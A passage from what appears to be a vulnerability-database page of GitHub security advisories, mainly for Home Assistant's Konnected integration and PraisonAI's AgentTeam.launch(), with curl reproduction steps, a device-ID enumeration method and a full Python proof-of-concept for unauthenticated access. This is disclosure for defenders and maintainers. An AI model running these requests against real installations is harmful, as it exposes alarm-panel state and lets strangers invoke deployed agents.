[custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\n#### Step 1: cite the three load-bearing source ranges inside the running container\n\n```\n$ docker exec ha-konnected-poc sh -c \u0027\n    pkg=$(python -c \"import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.__file__))\")\n    sed -n \"296,305p\" \"$pkg/__init__.py\"\n    sed -n \"313,336p\" \"$pkg/__init__.py\"\n    sed -n \"385,438p\" \"$pkg/__init__.py\"\n\u0027\n\n--- view registration, requires_auth = False (line 301) ---\nclass KonnectedView(HomeAssistantView):\n    \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n    url = UPDATE_ENDPOINT\n    name = \"api:konnected\"\n    requires_auth = False  # Uses access token from configuration\n\n--- update_sensor() enforces Bearer-token auth via hmac.compare_digest ---\n    async def update_sensor(self, request: Request, device_id) -\u003e Response:\n        \"\"\"Process a put or post.\"\"\"\n        hass = request.app[KEY_HASS]\n        data = hass.data[DOMAIN]\n\n        auth = request.headers.get(AUTHORIZATION)\n        tokens = []\n        if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n            tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n        tokens.extend(\n            [\n                entry.data[CONF_ACCESS_TOKEN]\n                for entry in hass.config_entries.async_entries(DOMAIN)\n                if entry.data.get(CONF_ACCESS_TOKEN)\n            ]\n        )\n        if auth is None or not next(\n            (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n            False,\n        ):\n            return self.json_message(\n                \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n            )\n\n--- get() handler, no auth check anywhere in the body ---\n    async def get(self, request: Request, device_id) -\u003e Response:\n        \"\"\"Return the current binary state of a switch.\"\"\"\n        hass = request.app[KEY_HASS]\n        data = hass.data[DOMAIN]\n\n        if not (device := data[CONF_DEVICES].get(device_id)):\n            return self.json_message(\n                f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n            )\n\n        if (panel := device.get(\"panel\")) is not None:\n            # connect if we haven\u0027t already\n            hass.async_create_task(panel.async_connect())\n        ...\n        return self.json(resp)\n```\n\n#### Step 2: control. POST and PUT on the same URL return 401 without a Bearer token\n\nThe integration does enforce a Bearer-token check; the policy is just only applied to the write methods.\n\n```\n$ curl -sS -i -X POST -H \"Content-Type: application/json\" \\\n    -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n\n$ curl -sS -i -X PUT -H \"Content-Type: application/json\" \\\n    -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n```\n\n#### Step 3: the bug. GET returns alarm-panel switch state with no Authorization header\n\nThree zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"6\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"7\",\"state\":1}\n```\n\nZone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.\n\n#### Step 4: enumeration oracle. Three distinct response shapes power the brute force\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 48\n\n{\"message\":\"Device ffffffffffff not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 53\n\n{\"message\":\"Switch on zone or pin 99 not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n```\n\nAn attacker sweeping the `device_id` space sees the `Device \u003cid\u003e not configured` message until a real device matches, at which point the `Switch on zone or pin \u003cn\u003e not configured` message starts appearing. Then a 12-iteration zone sweep maps the panel\u0027s full output topology.\n\n#### Step 5: connection amplification. N unauth GETs drive N outbound `panel.async_connect()` calls\n\n10 unauthenticated GET requests at line rate. The `panel.async_connect()` invocations logged by the panel-side stub confirm line 397 of `__init__.py` fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.\n\n```\n$ for i in $(seq 1 10); do\n    curl -sS -o /dev/null -w \"GET #%{http_code}\\n\" \\\n      \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n  done\n\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\n\n$ docker logs ha-konnected-poc 2\u003e\u00261 | grep \"async_connect() invoked\"\n\n2026-05-18 15:23:55.893 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware.\n2026-05-18 15:23:55.900 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #2). ...\n2026-05-18 15:23:55.907 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #3). ...\n2026-05-18 15:23:55.921 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #4). ...\n2026-05-18 15:23:55.928 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #5). ...\n2026-05-18 15:23:55.937 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #6). ...\n2026-05-18 15:23:55.944 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #7). ...\n2026-05-18 15:23:55.951 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #8). ...\n2026-05-18 15:23:55.957 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #9). ...\n2026-05-18 15:23:55.964 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #10). ...\n```\n\nA sustained scan trivially fills the operator\u0027s panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.\n\n#### Step 6: the Authorization header is ignored on GET\n\nIdentical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms `get()` never reads the auth state.\n\n```\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -H \"Authorization: Bearer this-token-is-completely-wrong\" \\\n    \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n```\n\nThe wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads `request.headers[\"Authorization\"]`.\n\n#### Step 7: startup log confirms the view is registered and the integration is loaded\n\n```\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\nThe `konnected` integration shipped in core 2026.5.2 is loaded normally. The `konnected_poc` shim runs after it, registering the same `KonnectedView` class through `hass.http.register_view` and seeding `hass.data[konnected][devices]` with a representative alarm-panel configuration. The bug surface is the same `KonnectedView` class the upstream integration registers at `__init__.py:248` on every production install.\n\n### Workaround\n\nMigrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.\n\n### Fix\n\nThe Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.",
  "id": "GHSA-x84v-g949-293w",
  "modified": "2026-06-19T19:35:47Z",
  "published": "2026-06-19T19:35:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/security/advisories/GHSA-x84v-g949-293w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/home-assistant/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Home Assistant: Konnected alarm-panel switch state and zone topology disclosed to unauthenticated actors on the LAN"
}

GHSA-X87W-6H43-RMJQ

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

IBM Security Identity Governance and Intelligence 5.2.3.2 and 5.2.4 could allow an attacker to obtain sensitive information due to missing authentication in IGI for the survey application. IBM X-Force ID: 148601.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-07T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Identity Governance and Intelligence 5.2.3.2 and 5.2.4 could allow an attacker to obtain sensitive information due to missing authentication in IGI for the survey application. IBM X-Force ID: 148601.",
  "id": "GHSA-x87w-6h43-rmjq",
  "modified": "2022-05-13T01:19:28Z",
  "published": "2022-05-13T01:19:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1757"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148601"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10728883"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X8CV-XMQ7-P8XP

Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-06-18 13:57
VLAI
Summary
PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints
Details

PraisonAI AgentTeam.launch() exposes unauthenticated remote agent invocation endpoints

Summary

PraisonAI's documented Python AgentTeam.launch() / Agents.launch() HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.

The current implementation registers GET /{path}/list, POST /{path}, and POST /{path}/{agent_id} routes. The POST routes directly call agent.chat(...). Requests with no Authorization header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for Agents.launch() is 0.0.0.0, and official documentation shows host="0.0.0.0" for remote access.

This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the AgentTeam.launch() FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.

This report is scoped to the Python AgentTeam.launch() / Agents.launch() route-registration path. It does not require adjudicating whether the separate praisonai serve agents --api-key CLI path is correctly enforced.

Affected Components

  • Package: praisonaiagents
  • Current upstream main tested: 2f9677abb2ea68eab864ee8b6a828fd0141612e1
  • Latest release tag tested: v4.6.57
  • Primary file: src/praisonai-agents/praisonaiagents/agents/agents.py
  • Current line references: AgentTeam.launch() begins at line 1923; the group POST route is registered at line 2007; the group handler invokes agent_instance.chat(...) at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke agent.chat(...) at line 2117.
  • Primary class/API: AgentTeam.launch() / exported alias Agents
  • Affected routes:
  • GET /{path}/list: lists deployed agents.
  • POST /{path}: sequentially invokes all agents in the team.
  • POST /{path}/{agent_id}: invokes a specific agent.

Current vulnerable sink:

@app.post(path)
async def handle_query(request: Request, query_data: Optional[AgentQuery] = None):
    ...
    response = await loop.run_in_executor(
        None,
        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),
    )

Per-agent sink:

app.post(agent_path)(create_agent_handler(agent_instance))
...
response = await loop.run_in_executor(
    None,
    copy_context_to_callable(lambda q=query: agent.chat(q)),
)

List endpoint:

@app.get(f"{path}/list")
async def list_agents():
    return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]}

There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.

Security Boundary

This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family.

The codebase also contains hardened sibling implementations:

  • praisonai.deploy.api now has AUTH_ENABLED, PRAISONAI_API_TOKEN, generated tokens, and 401 Unauthorized checks (src/praisonai/praisonai/deploy/api.py lines 44-62 and 69-97).
  • praisonai.gateway.server.WebSocketGateway validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.py lines 328-424).
  • praisonai call hardening is documented as requiring CALL_SERVER_TOKEN or explicit opt-out.

AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.

Local-Only Reproduction

Run the local-only PoV script below with current source on PYTHONPATH:

PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \
  python poc_agentteam_launch_unauth.py

Expected vulnerable result:

[poc] HIT: unauthenticated clients invoked AgentTeam endpoints

Observed on current upstream main:

{
  "results": [
    {
      "body": {
        "agents": [
          {
            "id": "pov_agent",
            "name": "pov_agent"
          }
        ]
      },
      "case": "no_auth_list",
      "method": "GET",
      "path": "/agents/list",
      "status": 200
    },
    {
      "case": "no_auth_group",
      "method": "POST",
      "path": "/agents",
      "status": 200,
      "body": {
        "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
        "query": "marker",
        "results": [
          {
            "agent": "pov_agent",
            "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
          }
        ]
      }
    },
    {
      "case": "wrong_bearer_group",
      "method": "POST",
      "path": "/agents",
      "status": 200,
      "body": {
        "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
        "query": "marker",
        "results": [
          {
            "agent": "pov_agent",
            "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
          }
        ]
      }
    },
    {
      "case": "no_auth_per_agent",
      "method": "POST",
      "path": "/agents/pov_agent",
      "status": 200,
      "body": {
        "agent": "pov_agent",
        "query": "marker",
        "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
      }
    }
  ]
}

The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests.

Standalone PoV script:

#!/usr/bin/env python3
"""
Local-only PoV for PRAI-CAND-003.

Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed
agent response, then proves both the group endpoint and per-agent endpoint
execute without authentication. No model provider or external network is used.
"""

import json
import socket
import time
import types
import threading
from contextlib import closing

import requests
from praisonaiagents import Agent, Agents


def _free_port() -> int:
    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


def main() -> int:
    port = _free_port()

    agent = Agent(
        name="pov_agent",
        role="tester",
        goal="test",
        backstory="test",
        llm=None,
    )

    def stub_chat(self, query, *args, **kwargs):
        return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}"

    agent.chat = types.MethodType(stub_chat, agent)
    team = Agents(agents=[agent])
    launch_thread = threading.Thread(
        target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False),
        daemon=True,
    )
    launch_thread.start()

    base = f"http://127.0.0.1:{port}"
    for _ in range(40):
        try:
            response = requests.get(base + "/health", timeout=0.25)
            if response.status_code == 200:
                break
        except Exception:
            time.sleep(0.1)
    else:
        raise SystemExit("[poc] MISS: server did not start")

    cases = [
        ("no_auth_list", "GET", {}, "/agents/list", None),
        ("no_auth_group", "POST", {}, "/agents", {"query": "marker"}),
        (
            "wrong_bearer_group",
            "POST",
            {"Authorization": "Bearer definitely-wrong"},
            "/agents",
            {"query": "marker"},
        ),
        ("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}),
    ]
    results = []
    for name, method, headers, path, body in cases:
        if method == "GET":
            response = requests.get(base + path, headers=headers, timeout=5)
        else:
            response = requests.post(base + path, json=body, headers=headers, timeout=5)
        try:
            body = response.json()
        except Exception:
            body = response.text
        results.append(
            {
                "case": name,
                "method": method,
                "path": path,
                "status": response.status_code,
                "body": body,
            }
        )

    print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True))

    expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
    for result in results:
        if result["status"] != 200:
            raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}")
        if result["case"] == "no_auth_list" and "pov_agent" not in json.dumps(result["body"]):
            raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id")
        if result["case"] == "no_auth_list":
            continue
        body_text = json.dumps(result["body"], sort_keys=True)
        if expected_marker not in body_text:
            raise SystemExit(f"[poc] MISS: marker absent for {result['case']}")

    print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

If an operator follows the documented remote-server pattern and exposes an AgentTeam.launch() server on a reachable interface, any network client can invoke the deployed agents without credentials.

Depending on the deployed agents, an unauthenticated caller may be able to:

  • enumerate available agent IDs and names through GET /{path}/list;
  • trigger model/API spend by repeatedly invoking agents;
  • drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;
  • trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;
  • access responses generated from connected private context, memory, or knowledge sources.

The impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.

Affected-Version Sweep

Static sweep of release tags shows the unauthenticated AgentTeam.launch() handler and per-agent registration present in:

  • v4.6.33
  • v4.6.39
  • v4.6.40
  • v4.6.56
  • v4.6.57

The issue remains present on current upstream main 2f9677abb2ea68eab864ee8b6a828fd0141612e1.

The generated deploy API path was hardened between v4.6.33 and v4.6.39, and remains hardened in v4.6.57. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover AgentTeam.launch().

Root Cause

The AgentTeam.launch() FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.

The security-sensitive action is direct invocation of agent.chat() from a network request. The route has no access-control check before that call.

Suggested Fix

Recommended approach:

  1. Add a shared authentication helper for all network-facing agent invocation servers.
  2. Make AgentTeam.launch() fail closed for non-loopback binds unless a token/API key is configured.
  3. Require Authorization: Bearer <token> or an explicit documented API-key header for POST /{path}, GET /{path}/list, and POST /{path}/{agent_id}.
  4. Default AgentTeam.launch() to host="127.0.0.1" unless an explicit unsafe/remote option plus auth is configured.
  5. Add regression tests proving:
  6. no token returns 401;
  7. wrong token returns 403;
  8. correct token can list agents;
  9. correct token can invoke the team endpoint;
  10. correct token can invoke the per-agent endpoint;
  11. external bind without auth fails at startup.

If unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.

Severity

Recommended severity: Critical

Rationale:

  • Network attack vector: the documented server supports remote access via 0.0.0.0.
  • Low complexity: a single POST request invokes the agent.
  • No privileges: no credentials are required.
  • No user interaction: once the server is exposed, the attacker directly sends requests.
  • High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.

If maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.

Notes

The direct single-agent Agent.launch() path in current source appears to share the same missing-auth design, but it raises NameError: name '_server_lock' is not defined before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working AgentTeam.launch() / Agents.launch() path.

The CLI praisonai serve agents surface advertises a --api-key option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI\u0027s documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI\u0027s prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n  the group `POST` route is registered at line 2007; the group handler invokes\n  `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n  registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n  2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n  - `GET /{path}/list`: lists deployed agents.\n  - `POST /{path}`: sequentially invokes all agents in the team.\n  - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n    ...\n    response = await loop.run_in_executor(\n        None,\n        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n    )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n    None,\n    copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n    return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI\u0027s own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n  python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n  \"results\": [\n    {\n      \"body\": {\n        \"agents\": [\n          {\n            \"id\": \"pov_agent\",\n            \"name\": \"pov_agent\"\n          }\n        ]\n      },\n      \"case\": \"no_auth_list\",\n      \"method\": \"GET\",\n      \"path\": \"/agents/list\",\n      \"status\": 200\n    },\n    {\n      \"case\": \"no_auth_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"wrong_bearer_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"no_auth_per_agent\",\n      \"method\": \"POST\",\n      \"path\": \"/agents/pov_agent\",\n      \"status\": 200,\n      \"body\": {\n        \"agent\": \"pov_agent\",\n        \"query\": \"marker\",\n        \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n      }\n    }\n  ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -\u003e int:\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\ndef main() -\u003e int:\n    port = _free_port()\n\n    agent = Agent(\n        name=\"pov_agent\",\n        role=\"tester\",\n        goal=\"test\",\n        backstory=\"test\",\n        llm=None,\n    )\n\n    def stub_chat(self, query, *args, **kwargs):\n        return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n    agent.chat = types.MethodType(stub_chat, agent)\n    team = Agents(agents=[agent])\n    launch_thread = threading.Thread(\n        target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n        daemon=True,\n    )\n    launch_thread.start()\n\n    base = f\"http://127.0.0.1:{port}\"\n    for _ in range(40):\n        try:\n            response = requests.get(base + \"/health\", timeout=0.25)\n            if response.status_code == 200:\n                break\n        except Exception:\n            time.sleep(0.1)\n    else:\n        raise SystemExit(\"[poc] MISS: server did not start\")\n\n    cases = [\n        (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n        (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n        (\n            \"wrong_bearer_group\",\n            \"POST\",\n            {\"Authorization\": \"Bearer definitely-wrong\"},\n            \"/agents\",\n            {\"query\": \"marker\"},\n        ),\n        (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n    ]\n    results = []\n    for name, method, headers, path, body in cases:\n        if method == \"GET\":\n            response = requests.get(base + path, headers=headers, timeout=5)\n        else:\n            response = requests.post(base + path, json=body, headers=headers, timeout=5)\n        try:\n            body = response.json()\n        except Exception:\n            body = response.text\n        results.append(\n            {\n                \"case\": name,\n                \"method\": method,\n                \"path\": path,\n                \"status\": response.status_code,\n                \"body\": body,\n            }\n        )\n\n    print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n    expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n    for result in results:\n        if result[\"status\"] != 200:\n            raise SystemExit(f\"[poc] MISS: {result[\u0027case\u0027]} returned 